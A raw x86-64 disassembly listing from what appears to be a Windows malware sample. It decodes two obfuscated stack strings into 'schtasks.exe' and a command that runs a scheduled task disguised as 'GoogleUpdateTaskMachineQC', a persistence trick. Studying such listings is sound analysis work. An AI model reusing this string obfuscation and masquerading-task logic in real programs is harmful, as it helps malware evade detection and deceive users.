lea rcx, [rsp + 0xa40]
call fcn.140006917
mov rdx, rax
lea rcx, [rsp + 0x830]
mov r8d, dword [rsp + 0x5c]
call fcn.140006a5c
lea rcx, [rsp + 0x140]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x60], 0xb1
mov word [rsp + 0x62], 0xc8
mov word [rsp + 0x64], 0xb8
mov word [rsp + 0x66], 0xbd
mov word [rsp + 0x68], 0xc9
mov word [rsp + 0x6a], 0xb6
mov word [rsp + 0x6c], 0xc8
mov word [rsp + 0x6e], 0xc0
mov word [rsp + 0x70], 0xc8
mov word [rsp + 0x72], 0x83
mov word [rsp + 0x74], 0xba
mov word [rsp + 0x76], 0xcd
mov word [rsp + 0x78], 0xba
mov word [rsp + 0x7a], 0x55
cmp byte [0x1409c4b98], 0
jne 0x1400050e7
mov byte [0x1409c4bbc], 1
mov eax, 0
lea rcx, [0x1409c4ba0]
movzx edx, word [rsp + rax*2 + 0x60]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xe
jne 0x1400050c1
mov byte [0x1409c4b98], 1
lea rcx, [0x1400017cb]
call fcn.1400014f0
cmp byte [0x1409c4bbc], 0
je 0x140005119
lea rdx, [0x1409c4ba0]
lea rcx, [rdx + 0x1c]
movzx eax, word [rdx]
sub ax, 0x3855
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x1400050fb
mov byte [0x1409c4bbc], 0
lea rdx, [rsp + 0x1490]
lea rcx, [rsp + 0x140]
lea r8, [0x1409c4ba0]
call fcn.140005cb0
mov word [rsp + 0x60], 0x76
mov word [rsp + 0x62], 0xa4
mov word [rsp + 0x64], 0x71
mov word [rsp + 0x66], pe_nt_image_headers64
mov word [rsp + 0x68], 0xc3
mov word [rsp + 0x6a], 0xc6
mov word [rsp + 0x6c], 0xbf
mov word [rsp + 0x6e], 0x71
mov word [rsp + 0x70], pe_nt_image_headers64
mov word [rsp + 0x72], 0xc5
mov word [rsp + 0x74], 0xbf
mov word [rsp + 0x76], 0x71
mov word [rsp + 0x78], 0x73
mov word [rsp + 0x7a], 0x98
mov word [rsp + 0x7c], 0xc0
mov word [rsp + 0x7e], 0xc0
mov word [rsp + 0x80], 0xb8
mov word [rsp + 0x82], 0xbd
mov word [rsp + 0x84], 0xb6
mov word [rsp + 0x86], 0xa6
mov word [rsp + 0x88], 0xc1
mov word [rsp + 0x8a], 0xb5
mov word [rsp + 0x8c], 0xb2
mov word [rsp + 0x8e], 0xc5
mov word [rsp + 0x90], 0xb6
mov word [rsp + 0x92], 0xa5
mov word [rsp + 0x94], 0xb2
mov word [rsp + 0x96], 0xc4
mov word [rsp + 0x98], 0xbc
mov word [rsp + 0x9a], 0x9e
mov word [rsp + 0x9c], 0xb2
mov word [rsp + 0x9e], 0xb4
mov word [rsp + 0xa0], 0xb9
mov word [rsp + 0xa2], 0xba
mov word [rsp + 0xa4], 0xbf
mov word [rsp + 0xa6], 0xb6
mov word [rsp + 0xa8], 0xa2
mov word [rsp + 0xaa], 0x94
mov word [rsp + 0xac], 0x73
mov word [rsp + 0xae], 0x51
cmp byte [0x1409c4b30], 0
jne 0x1400052d7
mov byte [0x1409c4b90], 1
mov eax, 0
lea rcx, [0x1409c4b40]
movzx edx, word [rsp + rax*2 + 0x60]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x28
jne 0x1400052b1
mov byte [0x1409c4b30], 1
lea rcx, [0x1400017e5]
call fcn.1400014f0
cmp byte [0x1409c4b90], 0
je 0x140005309
lea rdx, [0x1409c4b40]
lea rcx, [rdx + 0x50]
movzx eax, word [rdx]
sub ax, 0xa51
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x1400052eb
mov byte [0x1409c4b90], 0
lea r8, [rsp + 0x140]
lea rdx, [rsp + 0x1490]
mov qword [rsp + 0x20], r8
lea r9, [0x1409c4b40]
mov ecx, 0
call fcn.14000645a
mov eax, 0
add rsp, 0x18b8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret